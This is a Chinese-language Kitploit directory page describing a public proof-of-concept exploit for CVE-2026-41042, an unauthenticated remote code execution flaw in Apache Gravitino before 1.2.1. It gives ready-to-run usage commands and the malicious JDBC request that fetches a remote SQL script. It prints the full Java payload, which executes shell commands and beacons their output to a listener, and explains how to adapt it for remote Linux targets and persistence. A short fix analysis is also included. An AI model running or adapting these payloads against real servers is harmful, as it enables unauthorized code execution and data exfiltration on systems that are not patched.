Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-41042 — 通过 H2 JDBC INIT 利用 Apache Gravitino < 1.2.1 中的未认证 RCE;托管 SQL/Java 载荷、执行命令,并通过 HTTP beacon 回传输出。 | Kitploit
工具/GitHubGitHub/lulztigre/cve-2026-41042
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHublulztigre/cve-2026-41042

cve-2026-41042

通过 H2 JDBC INIT 利用 Apache Gravitino < 1.2.1 中的未认证 RCE;托管 SQL/Java 载荷、执行命令,并通过 HTTP beacon 回传输出。

查看仓库
225天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-41042:Apache Gravitino < 1.2.1 未认证远程代码执行

针对 CVE-2026-41042 的独立、仅依赖标准库的 PoC:在 Apache Gravitino 1.2.1 之前版本中,通过 H2 JDBC INIT 连接设置实现未认证远程代码执行。无需认证头、无需额外驱动、无需 pip 安装。

root@kitploit:~
python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami

该脚本托管 SQL 载荷和输出信标(beacon),发送 testConnection 请求,并直接打印命令的标准输出。

CVE 于 2026-07-08 分配,发现者为 Junjie Li(西安电子科技大学)。这是该漏洞的首个公开可用 PoC。PoC 作者:Akinlabi。

受影响版本

受影响Apache Gravitino < 1.2.1(gravitino-catalog-jdbc-common)
已修复1.2.1
公告https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm

H2 1.4.200 随 Gravitino 的 libs/ 目录分发,作为默认实体存储后端,因此 H2 驱动已经在服务器类路径中。无需部署额外驱动即可利用。

根本原因

POST /api/metalakes/{metalake}/catalogs/testConnection(Jersey 资源 org.apache.gravitino.server.web.rest.CatalogOperations#testConnection,生成 application/vnd.gravitino.v1+json)接受 CatalogCreateRequest。其 properties.jdbc-url 值被传递给目录提供程序的连接工厂,且未对 JDBC 驱动进行任何验证。

利用捆绑的 H2 驱动(org.h2.Driver)并配合 H2 INIT 连接设置,可在连接时执行任意 SQL,而 CREATE ALIAS 可在服务器上编译并运行任意 Java。该端点无需认证。

使用方法

要求:Python 3,仅标准库。

root@kitploit:~
python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]

示例:

root@kitploit:~
# 默认运行:对 test_ml metalake 执行 whoami
python3 poc_cve-2026-41042.py http://127.0.0.1:8090

# 针对指定 metalake 执行自定义命令
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"

如果 metalake 不存在,请先创建一个(同样无需认证):

root@kitploit:~
curl -X POST http://<target>:8090/api/metalakes \
  -H "Content-Type: application/json" \
  -d '{"name":"test_ml"}'

工作原理

  1. 脚本在 127.0.0.1 上启动一个线程化 HTTP 服务器,提供两个路由:/poc.sql 提供生成的载荷,/beacon?out=... 捕获命令输出。
  2. 脚本提交一个恶意的目录测试请求:
root@kitploit:~
{
  "name": "h2rce",
  "type": "RELATIONAL",
  "provider": "jdbc-mysql",
  "properties": {
    "jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
    "jdbc-user": "sa",
    "jdbc-password": "",
    "jdbc-driver": "org.h2.Driver"
  }
}
  1. H2 通过 HTTP 获取 SQL 并在连接时执行。载荷注册两个别名:
root@kitploit:~
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
  Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
  java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
  String l; StringBuilder sb = new StringBuilder();
  while ((l = br.readLine()) != null) sb.append(l).append("\n");
  br.close();
  return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
  java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
  u.openConnection().getInputStream().close();
  return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));

SHELLEXEC 执行命令并将其标准输出作为字符串返回;BEACON 通过 HTTP 将其外泄到监听端;脚本轮询信标最多 5 秒,然后打印输出。

  1. HTTP 响应预期为 5xx。jdbc-mysql 提供程序的驱动版本检查(checkJDBCDriverVersion)在连接初始化之后触发,因此该错误只是表面现象:INIT 已经执行。错误路径即执行路径。

每次运行都会生成一个全新的随机内存数据库名称(secrets.token_hex(6)),因此 H2 别名不会在多次运行之间持久存在,每次执行都是确定性的。

第二个入口点:通过 createCatalog 实现持久化载荷

同一个恶意 jdbc-url 也可通过 POST /api/metalakes/{ml}/catalogs 生效,该接口返回 HTTP 200,并将 H2 INIT URL 持久化到目录配置中。此后任何强制建立连接的操作都会在初始化时触发执行:

root@kitploit:~
GET /api/metalakes/test_ml/catalogs/catreal/schemas

两个入口点都经过相同的 initialize() -> DataSourceUtils.createDataSource 路径,因此 1.2.1 的修复同时覆盖了两者。

修复分析(1.2.1)

DataSourceUtils.createDataSource 现在会阻止 H2 URL 和驱动(提交 84d3de9c7c / 5daabcd0e,已在 1.3.0 树中验证):

root@kitploit:~
String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
  throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
  throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}

recursiveDecode 会运行最多 5 次 URLDecoder,因此对前缀进行百分号编码并不能绕过该检查。JdbcUrlUtils.validateJdbcConfig(也会从 createDBCPDataSource 调用)额外阻止已知不安全的 MySQL/MariaDB/PostgreSQL 参数(autoDeserialize、allowLoadLocalInfile、socketFactory 等)。

已使用真实 H2 1.4.200 对检查的副本进行了绕过尝试:前导/尾随空格、6 次以上百分号编码、大小写和制表符技巧、后缀技巧以及非 JDBC 提供程序。未找到干净的绕过方式;H2 这条利用途径在 1.2.1 中似乎已得到彻底修复。

影响评估

Apache 将该漏洞评级为低危,理由是 H2 仅用于开发/测试,且 Gravitino 通常部署在内网。但默认安装情况与此相悖:

  • H2 是默认实体存储后端,随发行版一起打包
  • 当 gravitino.authorization.enable=false(默认值)时,testConnection 和 createCatalog 均无需认证
  • 默认绑定地址为 0.0.0.0:8090

现实的 CVSS v3.1 估算:约 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H),取决于 Gravitino 端口的可达性。

局限性

  • 载荷和信标绑定在 127.0.0.1。这适用于攻击者与目标共享同一主机的实验环境。对于远程目标,请将 make_payload() 和 exploit() 中的 127.0.0.1 引用改为你的监听 IP。
  • 别名执行的是 cmd.exe /c(Windows 实验环境)。在 Linux 目标上,将 new String[]{"cmd.exe", "/c", cmd} 行替换为 /bin/sh -c。
  • 本脚本未自动化 createCatalog 持久化路径;请使用上面的手动请求。

免责声明

仅用于经授权的安全测试和研究。本文中的每种技术均已在本地实验环境中开发和验证。将其指向非您所有的系统在您的司法管辖区可能属于违法行为。

下载工具
选项默认值描述
target(必需)Gravitino 服务器,例如 http://127.0.0.1:8090
--metalaketest_ml被测目录所属的 Metalake
--cmdwhoami在目标上执行的命令
--port9000用于载荷和信标的本地 HTTP 服务器端口